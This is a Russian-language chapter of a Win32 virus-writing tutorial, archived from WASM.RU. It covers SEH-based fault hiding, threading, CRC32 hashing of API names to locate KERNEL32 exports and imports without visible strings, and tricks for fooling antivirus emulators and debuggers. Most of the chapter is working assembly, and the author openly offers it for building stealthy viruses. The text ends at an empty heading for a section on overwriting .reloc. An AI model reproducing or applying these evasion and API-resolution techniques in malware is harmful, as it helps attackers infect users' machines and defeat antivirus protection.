Путеводитель по написанию вирусов под Win32: 10. Продвинутые Win32-техники

Дата публикации 4 ноя 2002

Путеводитель по написанию вирусов под Win32: 10. Продвинутые Win32-техники — Архив WASM.RU

В этой главе я хочу обсудить несколько техник, которые не заслуживают того, чтобы каждой из них выделили по отдельной главе, но тем не менее и полностью забыть о них нельзя :smile3:.

  • SEH
  • Мультитредность
  • CRC32 (IT/ET)
  • Антиэмулятор
  • Перезапись секции .reloc

Structured Exception Handler

SEH - это очень классная фича, которая есть во всех средах окружения Win32. Очень легко понять, что она делает: если происходит (general protection fault (сокращенно GPF), контроль автоматически передается текущему SEH-обработчику. Вы видите, насколько это может быть полезным? Если что-то пойдет не так, это позволит вашему вирусу оставаться незамеченным :smile3:. Указатель на SEH-обработчик находится в FS:[0000]. Поэтому вы можете легко поместить туда ваш собственный SEH-обработчик (но не забудьте сохранить старый!). Если произойдет ошибка, контроль будет передан вашему SEH-обработчику, но стек накроется. К счастью, Micro$oft помещает стек в том виде, в каком он был до установки нашего SEH-обработчика, в ESP+08 :smile3:. Поэтому нам надо будет просто восстановить его и поместить старый SEH-обработчик на его старое место :smile3:. Давайте посмотрим небольшой пример использования SEH:

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3.  
  4.         .386p
  5.         .model  flat                            ; 32 бита рулят
  6.  
  7.  extrn   MessageBoxA:PROC                ; Задаем API
  8.  extrn   ExitProcess:PROC
  9.  
  10.         .data
  11.  
  12.  szTitle        db      "Structured Exception Handler [SEH]",0
  13.  szMessage      db      "Intercepted General Protection Fault!",0
  14.  
  15.         .code
  16.  
  17.  start:
  18.         push    offset exception_handler        ; Push'им смещение нашего
  19.                                                 ; обработчика
  20.         push    dword ptr fs:[0000h]            ;
  21.         mov     dword ptr fs:[0000h],esp
  22.  
  23.  errorhandler:
  24.         mov     esp,[esp+8]                     ; Помещаем смещ. ориг. SEH
  25.                                                 ; Ошибка дает нам старый ESP
  26.                                                 ; в [ESP+8]
  27.  
  28.         pop     dword ptr fs:[0000h]            ; Восст. старый SEH-обработчик
  29.  
  30.         push    1010h                           ; Параметры для MessageBoxA
  31.         push    offset szTitle
  32.         push    offset szMessage
  33.         push    00h
  34.         call    MessageBoxA                     ; Показываем сообщене :]
  35.  
  36.         push    00h
  37.         call    ExitProcess                     ; Выходим из приложения
  38.  
  39.  setupSEH:
  40.         xor     eax,eax                         ; Генерируется исключение
  41.         div     eax
  42.  
  43.  end    start
  44. ;---[ CUT HERE ]-------------------------------------------------------------

Как было показано в главе "Антиотладка под Win32", у SEH есть еще полезные применения :smile3:. Он одурачивает большинство отладчиков уровня приложения. Для облечения работы по установке нового SEH-обработчика есть следующие макросы, которые делают это за вас (hi Jacky!):

Код (Text):
  1.  
  2. ; Put SEH - Sets a new SEH handler
  3.  
  4. ; Put SEH - Устанавливаем новый SEH-обработчик
  5.  
  6. pseh    macro   what2do
  7.         local   @@over_seh_handler
  8.         call    @@over_seh_handler
  9.         mov     esp,[esp+08h]
  10.         what2do
  11. @@over_seh_handler:
  12.         xor     edx,edx
  13.         push    dword ptr fs:[edx]
  14.         mov     dword ptr fs:[edx],esp
  15.         endm
  16.  
  17. ; Restore SEH - Восстанавливает старый SEH-обработчик
  18.  
  19. rseh    macro
  20.         xor     edx,edx
  21.         pop     dword ptr fs:[edx]
  22.         pop     edx
  23.         endm
  24.  
  25.  Использовать эти макросы очень просто. Например:
  26.  
  27.         pseh    >jmp SEH_handler&rt;
  28.         div     edx
  29.         push    00h
  30.         call    ExitProcess
  31. SEH_handler:
  32.         rseh
  33.         [...]

Код, приведенный выше, будет выполняться после макроса 'rseh' вместо прерывания процесса. Это понятно? :smile3:

Мультитредность

Когда мне сказали, что в среде Win32 это очень легко сделать, мне пришло в голову, что это можно использовать для различных целей: выполнение кода во время выполнения другого кода (тоже из нашего вируса). Это было бы очень полезно, так как сэкономит вам время :smile3:.

Ок, основное назначение мультизадачной процедуры следующее:

  1. Создайте соответствующую ветвь кода, которую вы хотите запустить
  2. Подождите, пока дочерний процесс закончится в коде родительского процесса

Это кажется трудноватым, но здесь есть две API-функции, которые могут нас спасти. Их имена: CreateThread и WaitForSingleObject. Давайте посмотрим, что об этих функция говорит справочник по Win32 API.

Код (Text):
  1.  
  2.  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  3.  
  4.  Функция CreateThread создает тред, выполняющийся внутри адресного пространства
  5.  вызывающего функцию процесса.
  6.  
  7.  HANDLE CreateThread(
  8.    LPSECURITY_ATTRIBUTES lpThreadAttributes,  // указ. на аттр. безоп. треда
  9.    DWORD dwStackSize,                  // нач. размер стека треда в байтах
  10.    LPTHREAD_START_ROUTINE lpStartAddress,    // указатель на функцию треда
  11.    LPVOID lpParameter,                   // аргументы для нового треда
  12.    DWORD dwCreationFlags,                       // флаги создания
  13.    LPDWORD lpThreadId        // указатель на возвращенный идентификатор треда
  14.   );
  15.  
  16.  Параметры
  17.  ---------
  18.  
  19.  • lpThreadAttributes: указатель на структуру SECURITY_ATTRIBUTES, которая
  20.    определяет, сможет ли возвращенный хэндл наследоваться дочерним процессом.
  21.    Если lpThreadAttributes равен NULL, хэндл не может наследоваться.
  22.  
  23.  Windows NT: поле lpSecurityDescriptor задает дескриптор безопасности нового
  24.              треда. Если lpThreadAttributes равен NULL, тред получает
  25.              дескриптор безопасности по умолчанию.
  26.  
  27.  Windows 95: поле lpSecurityDescriptor игнорируется.
  28.  
  29.  • dwStackSize: задает в байтах размер стека нового треда. Если указан 0, то
  30.    размер стека будет равен размеру стека главного треда процесса. Стек
  31.    автоматически выделяется в адресном пространстве процесса и освобождается,
  32.    когда тред завершает свое выполнение. Обратите внимание на то, что размер
  33.    стека увеличивается по необходимости. CreateThread пытается выделить
  34.    указанное количество байтов, а если это не удается, возвращает ошибку.
  35.  
  36.  • lpStartAddress: стартовый адрес нового треда. Обычно это адрес функции,
  37.    имеющая соглашение о вызове WinAPI, которая принимает 32-х битный указатель
  38.    в качестве аргумента и возвращает 32-х битный код возврата. Ее прототипом
  39.    является:
  40.  
  41.  DWORD WINAPI ThreadFunc( LPVOID );
  42.  
  43.  • lpParameter: задает 32-х битное значение, которое будет передано треду в
  44.    качестве аргумента.
  45.  
  46.  • dwCreationFlags: задает дополнительные флаги, контролирующие создание
  47.    треда. Если задан флаг CREATE_SUSPENDED, тред создается в замороженном
  48.    состоянии и начнет свое выполнение только тогда, когда будет вызвана функция
  49.    ResumeThread. Если это значение равно нулю, тред начинает выполняться
  50.    немедленно после создания. На данный момент другие значения не
  51.    поддерживаются.
  52.  
  53.  • lpThreadId: указывает на 32-х битную переменную, которая получает
  54.    идентификатор треда.
  55.  
  56.  Возвращаемые значения
  57.  ---------------------
  58.  
  59.  • Если вызов функции прошел успешно, возвращаемое значение является хэндлом
  60.    нового треда.
  61.  
  62.  • Если вызов функции не удастся, возвращаемое значение будет равно NULL. Чтобы
  63.    получить дополнительную информацию об ошибке, вызовите GetLastError.
  64.  
  65.  Windows 95: CreateThread успешно выполняется только тогда, когда она
  66.  вызывается в контексте 32-х битной программы. 32-х битная DLL не может создать
  67.  дополнительный тред, если эта DLL была вызвана 16-ти битной программой.
  68.  
  69.  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  70.  
  71.  Функция WaitForSingleObject возвращает управление программе, когда случается
  72.  одно из следующего:
  73.  
  74.  • Указанный объект находится в сигнализирующем состоянии.<br>
  75.  • Закончился заданный интервал времени
  76.  
  77.  DWORD WaitForSingleObject(
  78.    HANDLE hHandle,                           // хэндл ожидаемого объекта
  79.    DWORD dwMilliseconds                  // интервал таймаута в миллисекундах
  80.   );
  81.  
  82.  Параметры
  83.  ---------
  84.  
  85.  • hHandle: идентифицирует объект.
  86.  
  87.  Windows NT: хэндл должен иметь доступ типа SYNCHRONIZE.
  88.  
  89.  • dwMilliseconds: задает интервал таймаута в миллисекундах. Функция возвращает
  90.    управление, если заданное время закончилось, даже если объект находится в
  91.    несигнализирующем состоянии. Если dwMilliseconds равно нулю, функция
  92.    тестирует состояние объекта и возвращает управление немедленно. Если
  93.    dwMilliseconds равно INFINITE, интервал таймаута бесконечен.
  94.  
  95.  Возвращаемые значения
  96.  ---------------------
  97.  
  98.  • Если вызов функции прошел успешно, возвращаемое значение указывает событие,
  99.    которое заставило функцию вернуться.
  100.  
  101.  • Если вызов функции прошел неуспешно, возвращаемое значение равно
  102.    WAIT_FAILED. Чтобы получить дополнительную информацию об ошибке, вызовите
  103.    GetLastError.
  104.  
  105.  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Если этого для вас недостаточно, или вы не понимаете ничего, что написано в описании функций, вот ASM-пример.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3.        .586p
  4.        .model flat
  5.  
  6. extrn   CreateThread:PROC
  7. extrn   WaitForSingleObject:PROC
  8. extrn   MessageBoxA:PROC
  9. extrn   ExitProcess:PROC
  10.  
  11.        .data
  12. tit1           db      "Parent Process",0
  13. msg1           db      "Spread your wings and fly away...",0
  14. tit2           db      "Child Process",0
  15. msg2           db      "Billy's awesome bullshit!",0
  16.  
  17. lpParameter    dd      00000000h
  18. lpThreadId     dd      00000000h
  19.  
  20.        .code
  21.  
  22. multitask:
  23.         push    offset lpThreadId             ; lpThreadId
  24.         push    00h                           ; dwCreationFlags
  25.         push    offset lpParameter            ; lpParameter
  26.         push    offset child_process          ; lpStartAddress
  27.         push    00h                           ; dwStackSize
  28.         push    00h                           ; lpThreadAttributes
  29.         call    CreateThread
  30.  
  31. ; EAX = Thread handle
  32.  
  33.         push    00h                           ; 'Parent Process' blah blah
  34.         push    offset tit1
  35.         push    offset msg1
  36.         push    00h
  37.         call    MessageBoxA
  38.  
  39.         push    0FFh                          ; Ждем бесконечно
  40.         push    eax                           ; Хэндл ожидаемого объекта (тред)
  41.         call    WaitForSingleObject
  42.  
  43.         push    00h                           ; Выходим из программы
  44.         call    ExitProcess
  45.  
  46. child_process:
  47.         push    00h                           ; 'Child Process' blah blah
  48.         push    offset tit2
  49.         push    offset msg2
  50.         push    00h
  51.         call    MessageBoxA
  52.         ret
  53.  
  54. end     multitask
  55. ;---[ CUT HERE ]-------------------------------------------------------------

Если вы протестируете вышеприведенный код, вы увидите, что если вы кликните по кнопке 'Accept' в дочернем процессе, то вам придется кликнуть также по 'Accept' родительского процесса, но если вы закроете родительский процесс, оба messagebox'а будут закрыты. Если родительский процесс умирает, все порожденные им процессы (здесь и далее до конца данного подраздела Billy употребляет слово 'процесс' в значении 'тред' - прим. пер.) также умирают. Но если умрет дочерний процесс, родительский выживет.

Таким образом с помощью WaitForSingleObject вы можете контролировать оба процесса - родительский и дочерний. Представьте себе следующие возможности: поиск по директориям в поисках определенного файла (например, MIRC.INI), и в то же время генерация полиморфного декриптора и распаковка дроппера... Вау! ;)

Смотрите туториал Benny о тредах и фиберах (29A#4) (есть на http://www.wasm.ru - прим. пер.).

CRC32 (IT/ET)

Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно лекго, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus'а, этот туториал...), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?

Решение: CRC32

Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок... прежде всего вам нужно погладеть на код, получающий CRC32 :smile3:. Давайте возьмем код Zheng[i, переработонный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ;
  4. ; Процедура получения CRC32
  5. ;  -------------------------
  6. ;
  7. ; на входе:
  8. ;        ESI = смещение, блока байтов, чей CRC32 должен быть вычислен
  9. ;        EDI = размер этого блока
  10. ; на выходе:
  11. ;        EAX = CRC32 данного блока
  12. ;
  13.  
  14.  CRC32          proc
  15.         cld
  16.         xor     ecx,ecx                         ; Оптимизировано мно - на 2
  17.         dec     ecx                             ; байта меньше
  18.         mov     edx,ecx
  19.  NextByteCRC:
  20.         xor     eax,eax
  21.         xor     ebx,ebx
  22.         lodsb
  23.         xor     al,cl
  24.         mov     cl,ch
  25.         mov     ch,dl
  26.         mov     dl,dh
  27.         mov     dh,8
  28.  NextBitCRC:
  29.         shr     bx,1
  30.         rcr     ax,1
  31.         jnc     NoCRC
  32.         xor     ax,08320h
  33.         xor     bx,0EDB8h
  34.  NoCRC: dec     dh
  35.         jnz     NextBitCRC
  36.         xor     ecx,eax
  37.         xor     edx,ebx
  38.         dec     edi                             ; на 1 байт меньше
  39.         jnz     NextByteCRC
  40.         not     edx
  41.         not     ecx
  42.         mov     eax,edx
  43.         rol     eax,16
  44.         mov     ax,cx
  45.         ret
  46.  CRC32          endp
  47. ;---[ CUT HERE ]-------------------------------------------------------------

Хорошо, теперьа мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого... хехехе, да! Вы ждете код движка поиска API-функций :smile3:.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ;
  4. ; Процедура GetAPI_ET_CRC32
  5. ;  -------------------------
  6. ;                          
  7. ; Хех, сложное имя? Эта процедура ищет имя API-функции в таблице экспортов
  8. ; KERNEL32 (после небольших изменений она будет работать для любой DLL), но
  9. ; теперь требуется только CRC32 API-функции, а не вся строка <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3    :smile3:">. Также
  10. ; потребуется процедура для получения CRC32 вроде той, которую я привел выше.
  11. ;
  12. ; на входе:
  13. ;        EAX = CRC32 имени функции в формате ASCIIz
  14. ; на выходе:
  15. ;        EAX = адрес API-функции
  16. ;
  17.  
  18.  GetAPI_ET_CRC32 proc
  19.         xor     edx,edx
  20.         xchg    eax,edx                         ; Помещаем CRC32 функции в EDX
  21.         mov     word ptr [ebp+Counter],ax       ; Сбрасываем счетчик
  22.         mov     esi,3Ch
  23.         add     esi,[ebp+kernel]                ; Получае PE-заголовок KERNEL32
  24.         lodsw
  25.         add     eax,[ebp+kernel]                ; Нормализуем
  26.  
  27.         mov     esi,[eax+78h]                   ; Получаем указатель на
  28.         add     esi,1Ch                         ; таблицу экспортов
  29.         add     esi,[ebp+kernel]
  30.  
  31.         lea     edi,[ebp+AddressTableVA]        ; Указатель на таблицу адресов
  32.         lodsd                                   ; Получаем значение AddressTable
  33.         add     eax,[ebp+kernel]                ; Нормализуем
  34.         stosd                                   ; И сохраняем в ее переменной
  35.  
  36.         lodsd                                   ; Получаем значение NameTable
  37.         add     eax,[ebp+kernel]                ; Нормализуем
  38.         push    eax                             ; Помещаем ее на стек
  39.         stosd                                   ; Сохраняем в ее переменной
  40.  
  41.         lodsd                                   ; Получаем значение OrdinalTable
  42.         add     eax,[ebp+kernel]                ; Нормализуем
  43.         stosd                                   ; Сохраняем
  44.  
  45.         pop     esi                             ; ESI = NameTable VA
  46.  
  47.  @?_3:  push    esi                             ; Снова сохраняем
  48.         lodsd                                   ; Получ. указ. на имя API-ф-ции
  49.         add     eax,[ebp+kernel]                ; Нормализуем
  50.         xchg    edi,eax                         ; Сохраняем указатель в EDI
  51.         mov     ebx,edi                         ; И в EBX
  52.  
  53.         push    edi                             ; Сохраняем EDI
  54.         xor     al,al                           ; Доходим до NULL'а
  55.         scasb                                   ; Это конец имени API-функции
  56.         jnz     $-1                            
  57.         pop     esi                             ; ESI = Указ. на имя API-ф-ции
  58.  
  59.         sub     edi,ebx                         ; EDI = Размер имени API-ф-ции
  60.  
  61.         push    edx                             ; Сохраняем CRC32 функции
  62.         call    CRC32                           ; Получаем текущий CRC функции
  63.         pop     edx                             ; Восстанавливаем CRC32 функции
  64.         cmp     edx,eax                         ; Они совпадают?
  65.         jz      @?_4                            ; Если да, это то, что нам надо
  66.  
  67.         pop     esi                             ; Восст. указ. на имя функции
  68.         add     esi,4                           ; Переходим к следующему
  69.         inc     word ptr [ebp+Counter]          ; И увеличиваем знач. счетчика
  70.         jmp     @?_3                            ; Получаем следующую API-ф-цию!
  71.  @?_4:
  72.         pop     esi                             ; Убираем мусор из стека
  73.         movzx   eax,word ptr [ebp+Counter]      ; AX = счетчик
  74.         shl     eax,1                           ; *2 (это массив слов)
  75.         add     eax,dword ptr [ebp+OrdinalTableVA] ; Нормализуем
  76.         xor     esi,esi                         ; Очищаем ESI
  77.         xchg    eax,esi                         ; ESI = Указ. на ординал; EAX=0
  78.         lodsw                                   ; В AX получаем ординал
  79.         shl     eax,2                           ; И с его помощью переходим к
  80.         add     eax,dword ptr [ebp+AddressTableVA] ; AddressTable (массив
  81.         xchg    esi,eax                         ; двойных слов)
  82.         lodsd                                   ; Получаем адресс API RVA
  83.         add     eax,[ebp+kernel]                ; и нормализуем!! Все!
  84.         ret
  85.  GetAPI_ET_CRC32 endp
  86.  
  87.  AddressTableVA dd      00000000h               ;\
  88.  NameTableVA    dd      00000000h               ; &rt; В ЭТОМ ПОРЯДКЕ!!
  89.  OrdinalTableVA dd      00000000h               ;/
  90.  
  91.  kernel         dd      0BFF70000h              ; Подгоните под свои нужды ;)
  92.  Counter        dw      0000h
  93. ;---[ CUT HERE ]-------------------------------------------------------------

Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ;
  4. ; Процедура GetAPI_IT_CRC32
  5. ;  -------------------------
  6. ;
  7. ; Эта процедура ищет в таблице импортов API-функция, CRC32 которой совпадает
  8. ; с переданным процедуре. Это полезно для создания перпроцессных резидентов
  9. ; (смотри главу "Перпроцессная резидентность" в данном туториале).
  10. ;
  11. ; на входе:
  12. ;        EAX = CRC32 имени API-функции в формате ASCIIz
  13. ; на выходе:
  14. ;        EAX = адрес API-функции
  15. ;        EBX = указатель на адрес API-функции в таблице импортов
  16. ;        CF  = устанавливаем, если вызов функции не удался
  17. ;
  18.  
  19.  GetAPI_IT_CRC32 proc
  20.         mov     dword ptr [ebp+TempGA_IT1],eax  ; Сохранить CRC32 API-функции
  21.                             ; на будущее
  22.  
  23.         mov     esi,dword ptr [ebp+imagebase]   ; ESI = база образа
  24.         add     esi,3Ch                         ; Получ. указ. на PE-заголовок
  25.         lodsw                                   ; AX = тот указатель
  26.         cwde                                    ; Очищаем MSW EAX'а
  27.         add     eax,dword ptr [ebp+imagebase]   ; Нормализуем указатель
  28.         xchg    esi,eax                         ; ESI = такой указатель
  29.         lodsd                                   ; Получаем DWORD
  30.  
  31.         cmp     eax,"EP"                        ; Это метка PE?
  32.         jnz     nopes                           ; Нет... duh!
  33.  
  34.         add     esi,7Ch                         ; ESI = PE-заголовок+80h
  35.         lodsd                                   ; Ищем .idata
  36.         push    eax
  37.         lodsd                                   ; Получаем размер
  38.         mov     ecx,eax
  39.         pop     esi
  40.         add     esi,dword ptr [ebp+imagebase]   ; Нормализуем
  41.  
  42.  SearchK32:
  43.         push    esi                             ; Сохраняем ESI в стек
  44.         mov     esi,[esi+0Ch]                   ; ESI = указатель на имя
  45.         add     esi,dword ptr [ebp+imagebase]   ; Нормализуем
  46.         lea     edi,[ebp+K32_DLL]               ; Указатель на 'KERNEL32.dll'
  47.         mov     ecx,K32_Size                    ; Размер строки
  48.         cld                                     ; Очищаем флаг направления
  49.         push    ecx                             ; Сохраняем ECX
  50.         rep     cmpsb                           ; Сохраняем байты
  51.         pop     ecx                             ; Восстанавливаем ECX
  52.         pop     esi                             ; Восстанавливаем ESI
  53.         jz      gotcha                          ; Были ли они равны? Черт...
  54.         add     esi,14h                         ; Получаем другое поле
  55.         jmp     SearchK32                       ; И ищем снова
  56.  gotcha:
  57.         cmp     byte ptr [esi],00h              ; Это OriginalFirstThunk 0?
  58.         jz      nopes                           ; Проклятье, если так...
  59.         mov     edx,[esi+10h]                   ; Получаем FirstThunk
  60.         add     edx,dword ptr [ebp+imagebase]   ; Нормализуем
  61.         lodsd                                   ; Получаем его
  62.         or      eax,eax                         ; Это 0?
  63.         jz      nopes                           ; Проклятье...
  64.  
  65.         xchg    edx,eax                         ; Получаем указатель на него
  66.         add     edx,[ebp+imagebase]
  67.         xor     ebx,ebx
  68.  loopy:
  69.         cmp     dword ptr [edx+00h],00h         ; Последний RVA?
  70.         jz      nopes                           ; Проклятье...
  71.         cmp     byte ptr  [edx+03h],80h         ; Ординал?
  72.         jz      reloop                          ; Проклятье...
  73.  
  74.         mov     edi,[edx]                       ; Получаем указатель на
  75.         add     edi,dword ptr [ebp+imagebase]   ; импортированную API-функцию
  76.         inc     edi
  77.         inc     edi
  78.         mov     esi,edi                         ; ESI = EDI
  79.  
  80.         pushad                                  ; Сохраняем все регистры
  81.         eosz_edi                                ; В EDI получаем конец строки
  82.         sub     edi,esi                         ; EDI = размер имени функции
  83.  
  84.         call    CRC32
  85.         mov     [esp+18h],eax                   ; В ECX - результат после POPAD
  86.         popad
  87.  
  88.         cmp     dword ptr [ebp+TempGA_IT1],ecx  ; CRC32 данной API-функции
  89.         jz      wegotit                         ; совпадает с той, которая
  90.                             ; нам нужна?
  91.  reloop:
  92.         inc     ebx                             ; Если, совершаем следующий
  93.         add     edx,4                           ; проход и ищем нужную функцию
  94.                             ; в таблице импортов
  95.         loop    loopy
  96.  wegotit:
  97.         shl     ebx,2                           ; Умножаем на 4
  98.         add     ebx,eax                         ; Добавляем FirstThunk
  99.         mov     eax,[ebx]                       ; EAX = адрес API-функции
  100.         test    al,00h                          ; Пересечение: избегаем STC <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3    :smile3:">
  101.         org     $-1
  102.  nopes:
  103.         stc
  104.         ret
  105.  GetAPI_IT_CRC32 endp
  106.  
  107.  TempGA_IT1     dd      00000000h
  108.  imagebase      dd      00400000h
  109.  K32_DLL        db      "KERNEL32.dll",0
  110.  K32_Size       equ     $-offset K32_DLL
  111.  
  112. ;---[ CUT HERE ]-------------------------------------------------------------

Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций :smile3:. Далее я перечеслю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.

CRC32 некоторых API-функций:

Код (Text):
  1.  
  2.  Имя API-функции        CRC32        Имя API-функции        CRC32
  3.  ---------------        -----        ---------------        -----
  4.  CreateFileA            08C892DDFh   CloseHandle            068624A9Dh
  5.  FindFirstFileA         0AE17EBEFh   FindNextFileA          0AA700106h
  6.  FindClose              0C200BE21h   CreateFileMappingA     096B2D96Ch
  7.  GetModuleHandleA       082B618D4h   GetProcAddress         0FFC97C1Fh
  8.  MapViewOfFile          0797B49ECh   UnmapViewOfFile        094524B42h
  9.  GetFileAttributesA     0C633D3DEh   SetFileAttributesA     03C19E536h
  10.  ExitProcess            040F57181h   SetFilePointer         085859D42h
  11.  SetEndOfFile           059994ED6h   DeleteFileA            0DE256FDEh
  12.  GetCurrentDirectoryA   0EBC6C18Bh   SetCurrentDirectoryA   0B2DBD7DCh
  13.  GetWindowsDirectoryA   0FE248274h   GetSystemDirectoryA    0593AE7CEh
  14.  LoadLibraryA           04134D1ADh   GetSystemTime          075B7EBE8h
  15.  CreateThread           019F33607h   WaitForSingleObject    0D4540229h
  16.  ExitThread             0058F9201h   GetTickCount           0613FD7BAh
  17.  FreeLibrary            0AFDF191Fh   WriteFile              021777793h
  18.  GlobalAlloc            083A353C3h   GlobalFree             05CDF6B6Ah
  19.  GetFileSize            0EF7D811Bh   ReadFile               054D8615Ah
  20.  GetCurrentProcess      003690E66h   GetPriorityClass       0A7D0D775h
  21.  SetPriorityClass       0C38969C7h   FindWindowA            085AB3323h
  22.  PostMessageA           086678A04h   MessageBoxA            0D8556CF7h
  23.  RegCreateKeyExA        02C822198h   RegSetValueExA         05B9EC9C6h
  24.  MoveFileA              02308923Fh   CopyFileA              05BD05DB1h
  25.  GetFullPathNameA       08F48B20Dh   WinExec                028452C4Fh
  26.  CreateProcessA         0267E0B05h   _lopen                 0F2F886E3h
  27.  MoveFileExA            03BE43958h   CopyFileExA            0953F2B64h
  28.  OpenFile               068D8FC46h

Вам нужен CRC32 другой функции?

Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3.  
  4.         .586
  5.         .model  flat
  6.         .data
  7.  
  8.  extrn          ExitProcess:PROC
  9.  extrn          MessageBoxA:PROC
  10.  extrn          GetCommandLineA:PROC
  11.  
  12.  titulo         db "GetCRC32 by Billy Belcebu/iKX",0
  13.  
  14.  message        db "SetEndOfFile"               ; Поместите здесь строку, чей
  15.                                                 ; CRC32 вам нужно узнать
  16.  _              db 0
  17.                 db "CRC32 is "
  18.  crc32_         db "00000000",0
  19.  
  20.         .code
  21.  
  22.  test:
  23.         mov     edi,_-message
  24.         lea     esi,message                     ; Загружаем указатель на имя
  25.                                                 ; API-функции
  26.         call    CRC32                           ; Получаем CRC32
  27.  
  28.         lea     edi,crc32_                      ; Конвертируем hex в текст
  29.         call    HexWrite32
  30.  
  31.         mov     _," "                           ; Пусть 0 станет пробелом
  32.  
  33.         push    00000000h                       ; Отображаем messagebox с
  34.         push    offset titulo                   ; именем API-функции и ее CRC32
  35.         push    offset message
  36.         push    00000000h
  37.         call    MessageBoxA
  38.  
  39.         push    00000000h
  40.         call    ExitProcess
  41.  
  42.  HexWrite8      proc                            ; Этот код был взят из носителя
  43.         mov     ah,al                           ; 1-ого поколения вируса
  44.         and     al,0Fh                          ; Bizatch
  45.         shr     ah,4
  46.         or      ax,3030h
  47.         xchg    al,ah
  48.         cmp     ah,39h
  49.         ja      @@4
  50.  @@1:
  51.         cmp     al,39h
  52.         ja      @@3
  53.  @@2:
  54.         stosw
  55.         ret
  56.  @@3:
  57.         sub     al,30h
  58.         add     al,'A' - 10
  59.         jmp     @@2
  60.  @@4:
  61.         sub     ah,30h
  62.         add     ah,'A' - 10
  63.         jmp     @@1
  64.  HexWrite8      endp
  65.  
  66.  HexWrite16     proc
  67.         push    ax
  68.         xchg    al,ah
  69.         call    HexWrite8
  70.         pop     ax
  71.         call    HexWrite8
  72.         ret
  73.  HexWrite16     endp
  74.  
  75.  HexWrite32     proc
  76.         push    eax
  77.         shr     eax, 16
  78.         call    HexWrite16
  79.         pop     eax
  80.         call    HexWrite16
  81.         ret
  82.  HexWrite32     endp
  83.  
  84.  CRC32          proc
  85.         cld
  86.         xor     ecx,ecx                         ; Оптимизированно мной - на 2
  87.                             ; байта меньше
  88.         dec     ecx                            
  89.         mov     edx,ecx
  90.  NextByteCRC:
  91.         xor     eax,eax
  92.         xor     ebx,ebx
  93.         lodsb
  94.         xor     al,cl
  95.         mov     cl,ch
  96.         mov     ch,dl
  97.         mov     dl,dh
  98.         mov     dh,8
  99.  NextBitCRC:
  100.         shr     bx,1
  101.         rcr     ax,1
  102.         jnc     NoCRC
  103.         xor     ax,08320h
  104.         xor     bx,0EDB8h
  105.  NoCRC: dec     dh
  106.         jnz     NextBitCRC
  107.         xor     ecx,eax
  108.         xor     edx,ebx
  109.         dec     edi                             ; на 1 байт меньше
  110.         jnz     NextByteCRC
  111.         not     edx
  112.         not     ecx
  113.         mov     eax,edx
  114.         rol     eax,16
  115.         mov     ax,cx
  116.         ret
  117.  CRC32          endp
  118.  
  119.  end    test
  120. ;---[ CUT HERE ]-------------------------------------------------------------

Круто, правда? :smile3:

Антиэмуляторы

Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super'ом. Далее следует небольшой список того, что необходимо знать для обмана AV'ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!

- Генерирование ошибок с помощью SEH. Пример:

Код (Text):
  1.  
  2.         pseh    &gt;jmp virus_code&rt;
  3.         dec     byte ptr [edx] ; &gt;-- или другое исключение, например 'div edx'
  4.         [...] &gt;-- если мы здесь, нас отлаживают!
  5.  virus_code:
  6.         rseh
  7.         [...] &gt;-- код вируса <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3    :smile3:">

- Использование сегментного префикса CS. Например:

Код (Text):
  1.  
  2.         jmp     cs:[shit]
  3.         call    cs:[shit]

- Использование RETF. Пример:

Код (Text):
  1.  
  2.         push    cs
  3.         call    shit
  4.         retf

- Игра с DS. Пример:

Код (Text):
  1.  
  2.         push    ds
  3.         pop     eax

или даже лучше:

Код (Text):
  1.  
  2.         push    ds
  3.         pop     ax

или еще лучше:

Код (Text):
  1.  
  2.         mov     eax,ds
  3.         push    eax
  4.         pop     ds

- Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :

Код (Text):
  1.  
  2.         mov     ebx,esp
  3.         push    cs
  4.         pop     eax
  5.         cmp     esp,ebx
  6.         jne     nod_ice_detected

- Использование недокументированных опкодов:

Код (Text):
  1.  
  2.         salc    ; db 0D6h
  3.         bpice   ; db 0F1h

- Использование тредов и/или фиберов

Я надеюсь, что все это окажется для вас полезным :smile3:.

Перезапись секции .reloc

